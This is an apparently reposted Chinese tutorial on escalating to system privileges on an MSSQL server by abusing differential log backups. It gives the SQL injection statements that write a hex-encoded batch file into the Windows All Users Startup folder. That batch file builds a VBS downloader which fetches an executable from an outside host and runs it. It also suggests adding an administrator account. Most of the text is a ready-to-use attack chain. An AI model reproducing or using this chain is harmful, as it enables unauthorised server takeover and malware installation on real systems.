MSSQL 差异备份 防范 提权思路之MSSQL差异备份取系统权限
人气:0MSSQL差异备份获取webshell 几乎人人皆知,那么我们可以利用差异备份出来的文件 当作恶意代码
让系统执行了之后自动提升权限 或者添加管理员吗? 答案当然可以了,kj021320测试了N次之后跟你说!
那么我们得考虑文件摆放的位置~什么地方系统会运行呢?这个其实算是废话吧!
大家不用想都知道 通用地方 C:\Documents and Settings\All Users\「开始」菜单\程序\启动
呵呵位置有了! 那么我们备份什么文件让系统能执行的呢?
这个是第一个关键点~!
EXE JS VBS BAT这些文件大家第一时间想到的了
那些我一个一个来分析 exe的话!绝对能了! 但是 MSSQL差异备份这么多垃圾肯定会把exe弄坏的!
否决掉
然后到脚本
VBS 我们能不能把 他的垃圾信息注释掉呢? 不然VBS 会执行不了! OK 学过VBS的朋友都知道
VBS里面 有2种注释 ' 还有就是 rem
但是还是会有垃圾信息屏蔽不了
否决掉
JS呢? JS里面有多行注释的/**/ 但是 /* 不可能在首行吧?
否决掉
最后 剩下我们最熟悉的bat批处理了!
OK我们继续分析 bat里面注释是什么呢?也是REM,失败啊!之前vbs那里不行 这里的rem注释也一样不行的!
那么我们怎么办呢?其实很简单! 当我们在CMD下面敲错了命令系统会怎样呢?
说到这里 要是大家不往文章下面看也一样能想到方法了吧~
OK我们继续探~~这里是最最关键点,差异备份出来的垃圾信息我们可以通过用回车把他提交了!
而系统只当作无用的命令来处理!不影响我们的操作!
问题就这样解决了吗?不是的!~MSSQL备份的时候,到一定的字符长度就会出现垃圾的字符,那个字符会影响我们的操作!
那么我们得把语句尽量缩少,越少越好~
OK那我们思路好了就采用bat 写一个VBS的下载者 然后执行这个下载者 最后通过下载者down回来的马子来获取系统权限
下面是我改过的生成下载者的BAT
echo Set P=createObject("Microsoft.XMLHTTP")>k.vbs
echo P.Open "GET","http://www.isto.cn/t.exe",0 >>k.vbs
echo P.Send():set G=createObject("ADODB.Stream")>>k.vbs
echo G.Mode=3:G.Type=1:G.Open() >>k.vbs
echo G.Write P.ResponseBody:G.SaveToFile "t.exe",2 >>k.vbs
k.vbs
t
下一个k.VBS然后k.vbs下载一个t.exe文件保存到本地 直接执行
记得记得我说过的代码前面一定要用回车把垃圾数据提交 最好2以上个回车
然后实现差异备份
alter database ISTO set RECOVERY FULL--
create table cmd (a image)--
backup log ISTO to disk = 'c:\cmd1' with init--
insert into cmd (a) values (0x130A0D0A6563686F2053657420503D6372656174654F626A65637428224D6963726F736F66742E584D4C4854545022293E6B2E7662730D0A6563686F20502E4F70656E2022474554222C22687474703A2F2F7777772E6973746F2E636E2F742E657865222C30203E3E6B2E7662730D0A6563686F20502E53656E6428293A73657420473D6372656174654F626A656374282241444F44422E53747265616D22293E3E6B2E7662730D0A6563686F20472E4D6F64653D333A472E547970653D313A472E4F70656E2829203E3E6B2E76627320200D0A6563686F20472E577269746520502E526573706F6E7365426F64793A472E53617665546F46696C652022742E657865222C32203E3E6B2E7662730D0A6B2E7662730D0A740D0A)--
backup log ISTO to disk = 'C:\Documents and Settings\All Users\「开始」菜单\程序\启动\1.bat'--
drop table cmd--
OK bat出来了! 至于怎样让服务器重启呢!这个问题遗留给你们去讨论吧!
要是服务器直接开启了3389 那就更方便了! 直接bat 一个添加管理员的命令更爽!
加载全部内容